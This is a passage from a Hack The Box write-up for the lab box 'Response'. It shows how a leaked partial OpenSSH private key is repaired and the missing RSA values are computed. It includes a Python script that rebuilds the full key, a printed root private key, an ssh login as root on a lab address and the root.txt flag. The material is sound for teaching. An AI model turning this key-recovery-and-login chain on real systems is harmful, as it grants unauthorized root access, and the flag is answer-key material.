partial_key\nntEd3KnWNpkbwp28vVgasUOq3CQBbDOQAAAMEAxwsaGXCZwMb\/JH88XvGhu1Bo2zomIhaV\nMrbN5x4q3c7Z0u9gmkXO+NWMpX7T20l0OBEIhrW6DQOsxis\/CrS5u69F6tUZjlUdNE1zIE\n7IFv2QurMwNL89\/SnlQbe24xb+IjafKUaOPsNcpFakP4vxnKL+uw6qFoqRdSZyndgArZKD\nK26Z7ZzdV2ln2kyiLfokN8WbYxHeQ\/7\/jVBXf71BU1+Xg8X44njVp3Xf9gO6cYVaqb1xBs\nZ7bG8Warkycj7ZAAAADXJvb3RAcmVzcG9uc2UBAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n<\/pre><\/div>\n\n\n<p>If we try to <code>base64<\/code> decode it, we get an error <code>base64: invalid input<\/code> and the data seems to be messed up:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ cat partial_key|grep -v &#039;-&#039;|base64 -d|hexdump -C\nbase64: invalid input\n00000000  9e d1 1d dc a9 d6 36 99  1b c2 9d bc bd 58 1a b1  |......6......X..|\n00000010  43 aa dc 24 01 6c 33 90  00 00 0c 10 0c 70 b1 a1  |C..$.l3......p..|\n00000020  97 09 9c 0c 6f f2 47 f3  c5 ef 1a 1b b5 06 8d b3  |....o.G.........|\n00000030  a2 62 21 69 53 2b 6c de  71 e2 ad dc ed 9d 2e f6  |.b!iS+l.q.......|\n00000040  09 a4 5c ef 8d 58 ca 57  ed 3d b4 97 43 81 10 88  |..\\..\n...\n<\/pre><\/div>\n\n\n<p>The reason for this is that we started to decode the data between a bytes boundary. By prepending the data with two other characters, the <code>base64<\/code> encoded data is aligned again and we can successfully decode it:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ (echo -n AA;cat partial_key)|grep -v &#039;-&#039;|base64 -d|hexdump -C\n00000000  00 09 ed 11 dd ca 9d 63  69 91 bc 29 db cb d5 81  |.......ci..)....|\n00000010  ab 14 3a ad c2 40 16 c3  39 00 00 00 c1 00 c7 0b  |..:..@..9.......|\n00000020  1a 19 70 99 c0 c6 ff 24  7f 3c 5e f1 a1 bb 50 68  |..p....$.&lt;^...Ph|\n00000030  db 3a 26 22 16 95 32 b6  cd e7 1e 2a dd ce d9 d2  |.:&amp;&quot;..2....*....|\n00000040  ef 60 9a 45 ce f8 d5 8c  a5 7e d3 db 49 74 38 11  |.`.E.....~..It8.|\n00000050  08 86 b5 ba 0d 03 ac c6  2b 3f 0a b4 b9 bb af 45  |........+?.....E|\n00000060  ea d5 19 8e 55 1d 34 4d  73 20 4e c8 16 fd 90 ba  |....U.4Ms N.....|\n00000070  b3 30 34 bf 3d fd 29 e5  41 b7 b6 e3 16 fe 22 36  |.04.=.).A.....&quot;6|\n00000080  9f 29 46 8e 3e c3 5c a4  56 a4 3f 8b f1 9c a2 fe  |.)F.&gt;.\\.V.?.....|\n00000090  bb 0e aa 16 8a 91 75 26  72 9d d8 00 ad 92 83 2b  |......u&amp;r......+|\n000000a0  6e 99 ed 9c dd 57 69 67  da 4c a2 2d fa 24 37 c5  |n....Wig.L.-.$7.|\n000000b0  9b 63 11 de 43 fe ff 8d  50 57 7f bd 41 53 5f 97  |.c..C...PW..AS_.|\n000000c0  83 c5 f8 e2 78 d5 a7 75  df f6 03 ba 71 85 5a a9  |....x..u....q.Z.|\n000000d0  bd 71 06 c6 7b 6c 6f 16  6a b9 32 72 3e d9 00 00  |.q..{lo.j.2r&gt;...|\n000000e0  00 0d 72 6f 6f 74 40 72  65 73 70 6f 6e 73 65 01  |..root@response.|\n000000f0  02 03 04 05                                       |....|\n000000f4\n<\/pre><\/div>\n\n\n<p>According to the previously mentioned <a href=\"https:\/\/dnaeon.github.io\/openssh-private-key-binary-format\/\" target=\"_blank\" rel=\"noreferrer noopener\">article<\/a> the last three parts of the private key are the second <code>RSA<\/code> prime (<code>q<\/code>), a comment and padding:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"310\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-26-1024x310.png\" alt=\"\" class=\"wp-image-2636\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-26-1024x310.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-26-300x91.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-26-768x233.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-26.png 1132w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>At this point we have three <code>RSA<\/code> values: <code>e<\/code>, <code>N<\/code> and <code>q<\/code>. These values are actually enough in order to fully recover the private key.<\/p>\n\n\n\n<p>The still missing values, which are part of the private key, are: <code>d<\/code> (RSA private exponent), <code>iqmp<\/code> (RSA Inverse of Q Mod P) and <code>p<\/code> (RSA prime1).<\/p>\n\n\n\n<p>At first we can calculate <code>p<\/code>. Since <code>N<\/code> is the product of <code>p<\/code> and <code>q<\/code> (<code>N = p * q<\/code>), we can calculate <code>p<\/code> as follow:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\np = N \/ q\n<\/pre><\/div>\n\n\n<p>Having <code>p<\/code> and <code>q<\/code> we can calculate <code>Phi(N)<\/code>, which is required to calculate <code>d<\/code>. <code>Phi(N)<\/code> can be calculated as follow:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\nPhi(N) = (p - 1) * (q - 1)\n<\/pre><\/div>\n\n\n<p>The RSA private exponent <code>d<\/code> is the multiple inverse of <code>e<\/code> modulus <code>Phi(N)<\/code>. This can be calculated as follow:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\nd = divm(1, e, Phi(N))\n<\/pre><\/div>\n\n\n<p>At last the value <code>iqmp<\/code> is required. This can be calculated as follow:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\niqmp = powm(q, p-2, p)\n<\/pre><\/div>\n\n\n<p>At this point we are ready to calculate all values required to recover the private key. The last thing to do is to put the calculated values in the <code>OpenSSH<\/code> binary format. The before mentioned <a href=\"https:\/\/dnaeon.github.io\/openssh-private-key-binary-format\/\" target=\"_blank\" rel=\"noreferrer noopener\">article<\/a> is of great help here again.<\/p>\n\n\n\n<p>The following python script takes the values <code>p<\/code> and <code>q<\/code> in order to generate the private key:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python3\n\nimport sys\nimport gmpy2\nimport math\nfrom base64 import b64encode\n\nDEBUG = False\n\n\ndef dprint(msg):\n  global DEBUG\n  if (DEBUG): print(msg)\n\n\ndef p32(n):\n  return int.to_bytes(n, 4, &#039;big&#039;)\n\n\ndef mpint(n, leading_zero = False):\n  l = get_byte_len(n)\n  if (leading_zero): l += 1\n  return p32(l) + int.to_bytes(n, l, &#039;big&#039;)\n\n\ndef get_byte_len(n):\n  if (n == 0): return 1\n  return int(math.log(n, 0x100)) + 1\n\n\ndef gen_private_key(p, q, e = 0x10001):\n  n = p * q\n  dprint(&#039;n = %s&#039; % hex(n))\n\n  phi = (p - 1) * (q - 1)\n  dprint(&#039;phi = %s&#039; % hex(phi))\n\n  d = int(gmpy2.divm(1, e, phi))\n  dprint(&#039;d = %s&#039; % hex(d))\n\n  iqmp = int(gmpy2.powmod(q, p-2, p))\n  dprint(&#039;iqmp = %s&#039; % hex(iqmp))\n\n  r = b&#039;&#039;\n  # AUTH_MAGIC\n  r += b&#039;openssh-key-v1\\x00&#039;\n  # ciphername\n  r += b&#039;\\x00\\x00\\x00\\x04none&#039;\n  # kdfname\n  r += b&#039;\\x00\\x00\\x00\\x04none&#039;\n  # kdfoptions\n  r += b&#039;\\x00\\x00\\x00\\x00&#039;\n  # number of keys\n  r += p32(1)\n\n  # ---------------------------------------------\n  # pub key\n\n  # keytype\n  pub = b&#039;\\x00\\x00\\x00\\x07ssh-rsa&#039;\n  # e (RSA public exponent)\n  pub += mpint(e)\n  # n (RSA modulus)\n  pub += mpint(n, True)\n\n  r += p32(len(pub)) + pub\n\n  # ---------------------------------------------  \n  # private key\n\n  # check-int\n  priv  = p32(0x1337) * 2\n  # keytype\n  priv += b&#039;\\x00\\x00\\x00\\x07ssh-rsa&#039;\n  # n (RSA modulus)\n  priv += mpint(n, True)\n  # e (RSA public exponent)\n  priv += mpint(e)\n  # d (RSA private exponent)\n  priv += mpint(d)\n  # iqmp (RSA Inverse of Q Mod P, a.k.a iqmp)\n  priv += mpint(iqmp, True)\n  # p (RSA prime 1)\n  priv += mpint(p, True)\n  # q (RSA prime 2)\n  priv += mpint(q, True)\n  # comment\n  priv += b&#039;\\x00\\x00\\x00\\x04none&#039;\n  # padding\n  for i in range(8 - (len(priv) % 8)): priv += bytes(&#x5B;i+1])\n  r += p32(len(priv)) + priv\n\n  b64 = b64encode(r).decode()\n  out = &#039;-----BEGIN OPENSSH PRIVATE KEY-----\\n&#039;\n  out += &#039;\\n&#039;.join(b64&#x5B;i:i+70] for i in range(0, len(b64), 70))\n  out += &#039;\\n-----END OPENSSH PRIVATE KEY-----&#039;\n  return out\n\n\ndef main():\n  if (len(sys.argv) &lt; 3):\n    print(&#039;usage:\\n%s &lt;p&gt; &lt;q&gt;&#039; % sys.argv&#x5B;0])\n    quit()\n\n  base = 10\n  if (sys.argv&#x5B;1].startswith(&#039;0x&#039;)): base = 16\n  p = int(sys.argv&#x5B;1], base)\n\n  base = 10\n  if (sys.argv&#x5B;2].startswith(&#039;0x&#039;)): base = 16\n  q = int(sys.argv&#x5B;2], base)\n\n  dprint(&#039;p = %s&#039; % hex(p))\n  dprint(&#039;q = %s&#039; % hex(q))\n\n  pk = gen_private_key(p, q)\n  print(pk)\n\n\nif (__name__ == &#039;__main__&#039;):\n  main()\n<\/pre><\/div>\n\n\n<p>We have alread extract the concrete value of <code>N<\/code> from the <code>authorized_keys<\/code> file. The value of <code>q<\/code> can be copy &amp; pasted from the hex output of the partial private key:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ (echo -n AA;cat partial_key)|grep -v &#039;-&#039;|base64 -d|xxd -p|tr -d &#039;\\n&#039;\n0009ed11ddca9d636991bc29dbcbd581ab143aadc24016c339000000c100c70b1a197099c0c6ff247f3c5ef1a1bb5068db3a2622169532b6cde71e2addced9d2ef609a45cef8d58ca57ed3db497438110886b5ba0d03acc62b3f0ab4b9bbaf45ead5198e551d344d73204ec816fd90bab33034bf3dfd29e541b7b6e316fe22369f29468e3ec35ca456a43f8bf19ca2febb0eaa168a917526729dd800ad92832b6e99ed9cdd576967da4ca22dfa2437c59b6311de43feff8d50577fbd41535f9783c5f8e278d5a775dff603ba71855aa9bd7106c67b6c6f166ab932723ed90000000d726f6f7440726573706f6e73650102030405\n<\/pre><\/div>\n\n\n<p>We only have to select the correct bytes beginning with <code>c70b...<\/code> and ending with <code>...3ed9<\/code> as highlighted in the image shown above.<\/p>\n\n\n\n<p>In order to calculate <code>p<\/code> we can simply use <code>python<\/code>. Though we have to use an integer division by using two slashes:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n&gt;&gt;&gt; N = 0x9e3a2cfbb9525ad7f1b2ea97a903af1b4f69e533613a78d5512e9a0894dc917a9424e8ded39014b29d04a1a197ac072276837a538965d922b68ff34ba929bd45bef2d3edb5881fb62bcc11efb63008af2ba1df96798bfaf069d414029a1d3d2cfec0c6106989b7665449073f14964a1238f0bd7d456bacca115088ee7e6df8c2904db73c6dedf71b1195f3be37d78e8bf9b642a0391f67f9890296ab7664eb3eccdc9039ea73585a5d5b617cf0dd9be659bddf6e70789330f4c181947278cb6e68d6d87bafde2a01e805088b9a138fcb5e31f25d8345cc861ba7bc9829c1059f3f09ad1a0578077bba1a90262f991e23d17d2008c5afef40e64037990bca148fec2be0a5dc3c11a59483164e849ed4b3856e66b25f47bdd3bb2507c240052d4653f04ae8bd36ce229485970d607e134e50eefcc2073bf2778b2aae6aa3cf0c460752f4190891ce789c1e1d0991d2aabae70e1cc61bc30d1211878825b63543e3799d83f2f1e71a7f97210872dc12c33d6291e68e05d6f08be805ffa2e7f54951\n&gt;&gt;&gt; q = 0xc70b1a197099c0c6ff247f3c5ef1a1bb5068db3a2622169532b6cde71e2addced9d2ef609a45cef8d58ca57ed3db497438110886b5ba0d03acc62b3f0ab4b9bbaf45ead5198e551d344d73204ec816fd90bab33034bf3dfd29e541b7b6e316fe22369f29468e3ec35ca456a43f8bf19ca2febb0eaa168a917526729dd800ad92832b6e99ed9cdd576967da4ca22dfa2437c59b6311de43feff8d50577fbd41535f9783c5f8e278d5a775dff603ba71855aa9bd7106c67b6c6f166ab932723ed9\n&gt;&gt;&gt; p = N\/\/q\n&gt;&gt;&gt; hex(p)\n&#039;0xcb81180ac010abef4eb1a6fb04098da2e6d79c6cda7c0fbd1bbd5e3affeeca4385684bebd02e293e91ad59faf3312bb243fc75b21ec1eb6462851293fb4861adef8acfbc81609c43de2facc2adbaa3df6d85583633977c94c27f3777024029dd906cce1b7b9f6210676ff1a7a020a5de6b7d2d9066336ffd82f2f26c951b3b271ba6ec3955b4790b5f7927fbbacd3ddf15beb819589bb45fd11a582e48c9646f5ee71200a7cf301d99ed11ddca9d636991bc29dbcbd581ab143aadc24016c339&#039;\n<\/pre><\/div>\n\n\n<p>Now we can run the script to restore the private key and provide <code>p<\/code> and <code>q<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/restore_privatekey.py 0xcb81180ac010abef4eb1a6fb04098da2e6d79c6cda7c0fbd1bbd5e3affeeca4385684bebd02e293e91ad59faf3312bb243fc75b21ec1eb6462851293fb4861adef8acfbc81609c43de2facc2adbaa3df6d85583633977c94c27f3777024029dd906cce1b7b9f6210676ff1a7a020a5de6b7d2d9066336ffd82f2f26c951b3b271ba6ec3955b4790b5f7927fbbacd3ddf15beb819589bb45fd11a582e48c9646f5ee71200a7cf301d99ed11ddca9d636991bc29dbcbd581ab143aadc24016c339 0xc70b1a197099c0c6ff247f3c5ef1a1bb5068db3a2622169532b6cde71e2addced9d2ef609a45cef8d58ca57ed3db497438110886b5ba0d03acc62b3f0ab4b9bbaf45ead5198e551d344d73204ec816fd90bab33034bf3dfd29e541b7b6e316fe22369f29468e3ec35ca456a43f8bf19ca2febb0eaa168a917526729dd800ad92832b6e99ed9cdd576967da4ca22dfa2437c59b6311de43feff8d50577fbd41535f9783c5f8e278d5a775dff603ba71855aa9bd7106c67b6c6f166ab932723ed9\n-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAnjos+7lSWtfxsuqXqQOvG09p5TNhOnjVUS6aCJTckXqUJOje05AU\nsp0EoaGXrAcidoN6U4ll2SK2j\/NLqSm9Rb7y0+21iB+2K8wR77YwCK8rod+WeYv68GnUFA\nKaHT0s\/sDGEGmJt2ZUSQc\/FJZKEjjwvX1Fa6zKEVCI7n5t+MKQTbc8be33GxGV8743146L\n+bZCoDkfZ\/mJApardmTrPszckDnqc1haXVthfPDdm+ZZvd9ucHiTMPTBgZRyeMtuaNbYe6\n\/eKgHoBQiLmhOPy14x8l2DRcyGG6e8mCnBBZ8\/Ca0aBXgHe7oakCYvmR4j0X0gCMWv70Dm\nQDeZC8oUj+wr4KXcPBGllIMWToSe1LOFbmayX0e907slB8JABS1GU\/BK6L02ziKUhZcNYH\n4TTlDu\/MIHO\/J3iyquaqPPDEYHUvQZCJHOeJweHQmR0qq65w4cxhvDDRIRh4gltjVD43md\ng\/Lx5xp\/lyEIctwSwz1ikeaOBdbwi+gF\/6Ln9UlRAAAFgAAAEzcAABM3AAAAB3NzaC1yc2\nEAAAGBAJ46LPu5UlrX8bLql6kDrxtPaeUzYTp41VEumgiU3JF6lCTo3tOQFLKdBKGhl6wH\nInaDelOJZdkito\/zS6kpvUW+8tPttYgftivMEe+2MAivK6HflnmL+vBp1BQCmh09LP7Axh\nBpibdmVEkHPxSWShI48L19RWusyhFQiO5+bfjCkE23PG3t9xsRlfO+N9eOi\/m2QqA5H2f5\niQKWq3Zk6z7M3JA56nNYWl1bYXzw3ZvmWb3fbnB4kzD0wYGUcnjLbmjW2Huv3ioB6AUIi5\noTj8teMfJdg0XMhhunvJgpwQWfPwmtGgV4B3u6GpAmL5keI9F9IAjFr+9A5kA3mQvKFI\/s\nK+Cl3DwRpZSDFk6EntSzhW5msl9HvdO7JQfCQAUtRlPwSui9Ns4ilIWXDWB+E05Q7vzCBz\nvyd4sqrmqjzwxGB1L0GQiRznicHh0JkdKquucOHMYbww0SEYeIJbY1Q+N5nYPy8ecaf5ch\nCHLcEsM9YpHmjgXW8IvoBf+i5\/VJUQAAAAMBAAEAAAGAR6IC13uRAzucWunF+2iFkBGl2X\nQnYndt67DzX0s1iE88XnFm39Ts6egYPqyPo\/we6BSh\/svHZkRG7mixKkaRP9Aw0y1c7+Gb\ncbyTqjiLCoNzd3doAmMTGmBu+RgseWxGwJa5lJiTFoqnQeCb+FAJ\/LH2m3LpSNQTLz+Mnp\nxyYRqEhgqcuw\/uvTx67LyDP31zdXvEMhFqXIImOxvHSHRr5CSO\/mSZ9dpcHsPOIOhTC89\/\ndWx\/7T9JM\/K64FU6deFyxplJMXePDvX5OZyRj9fjX8cvr+SMxiWCcjYUAr1H6hxq\/mWbNc\nDiwIXc0OKc+oFPH6zITwHeCrUkrAegVOP1MBf5WgX1gltHaK4WX5xhTHlI\/f2rKIL4fISD\nvIihmgqUQ64u8ZwnDXIPAB0tkYpFSuFchBNIRUd87Yf39i0NcNySOxYo9iI3u3nEwiYSLC\n\/tWv98N3ahpVN53WC6YLqbMCpG2IELyuw7Il5Kk3t904GGEmkfNXhM27b0B2pfyMOBAAAA\nwQCVNqqLn1wXE3VjsuPwM15ZYuNiT+vpWebdWBTdu5ceXOQa+YcUQaEM1L77wOyHcdZ14Z\nMak6pxuEWOaUWg0a27MtrwRHruEJFpwezpo3Z5KySfRyQDEcGlDinM0v4jOEPXLrOxbQKl\nh3MhzSJIeCkdjrwIxp\/vhRRy16s1y+KnNugcIQW2gMQImASeNITUgPhdhok8LlGiI8Q2pq\n6xS\/3DYTMcol8jwoEqu6EXzsbwZZ0YoUej8rpVGRyZLgZt+iMAAADBAMuBGArAEKvvTrGm\n+wQJjaLm15xs2nwPvRu9Xjr\/7spDhWhL69AuKT6RrVn68zErskP8dbIewetkYoUSk\/tIYa\n3vis+8gWCcQ94vrMKtuqPfbYVYNjOXfJTCfzd3AkAp3ZBszht7n2IQZ2\/xp6Agpd5rfS2Q\nZjNv\/YLy8myVGzsnG6bsOVW0eQtfeSf7us093xW+uBlYm7Rf0RpYLkjJZG9e5xIAp88wHZ\nntEd3KnWNpkbwp28vVgasUOq3CQBbDOQAAAMEAxwsaGXCZwMb\/JH88XvGhu1Bo2zomIhaV\nMrbN5x4q3c7Z0u9gmkXO+NWMpX7T20l0OBEIhrW6DQOsxis\/CrS5u69F6tUZjlUdNE1zIE\n7IFv2QurMwNL89\/SnlQbe24xb+IjafKUaOPsNcpFakP4vxnKL+uw6qFoqRdSZyndgArZKD\nK26Z7ZzdV2ln2kyiLfokN8WbYxHeQ\/7\/jVBXf71BU1+Xg8X44njVp3Xf9gO6cYVaqb1xBs\nZ7bG8Warkycj7ZAAAABG5vbmUBAgMEBQY=\n-----END OPENSSH PRIVATE KEY-----\n<\/pre><\/div>\n\n\n<p>We store the private key in a file called <code>restored_id_rsa<\/code> and change its permissions:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ chmod 600 restored_id_rsa\n<\/pre><\/div>\n\n\n<p>Now we can use it to login as <code>root<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ ssh root@10.10.13.37 -i restored_id_rsa \nWelcome to Ubuntu 20.04.4 LTS (GNU\/Linux 5.4.0-100-generic x86_64)\n...\nroot@response:~# id\nuid=0(root) gid=0(root) groups=0(root)\n<\/pre><\/div>\n\n\n<p>\u2026 and retrieve the contents of <code>root.txt<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@response:~# cat root.txt \n254adddcc7277dad2bcef5274c43d020\n<\/pre><\/div>","protected":false},"excerpt":{"rendered":"<p>Ever since I played Hack The Box, I have wanted to create a box myself. As the time went by, I encountered so much cool vulnerabilities and techniques both in real-world engagements and CTFs, which I thought would be fun to put in a box. The result of this is Response. \u2192 Introduction \u2192 User &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=2594\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Hack The Box &#8211; Response&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[32,7],"tags":[57,42,58,60,56,52,38,37,59,28],"class_list":["post-2594","post","type-post","status-publish","format-standard","hentry","category-hack-the-box","category-writeup","tag-dns","tag-hackthebox","tag-https","tag-javascript","tag-ldap","tag-nodejs","tag-python","tag-rsa","tag-smtp","tag-web"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2594"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2594"}],"version-history":[{"count":36,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2594\/revisions"}],"predecessor-version":[{"id":2659,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2594\/revisions\/2659"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2594"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2594"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2594"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}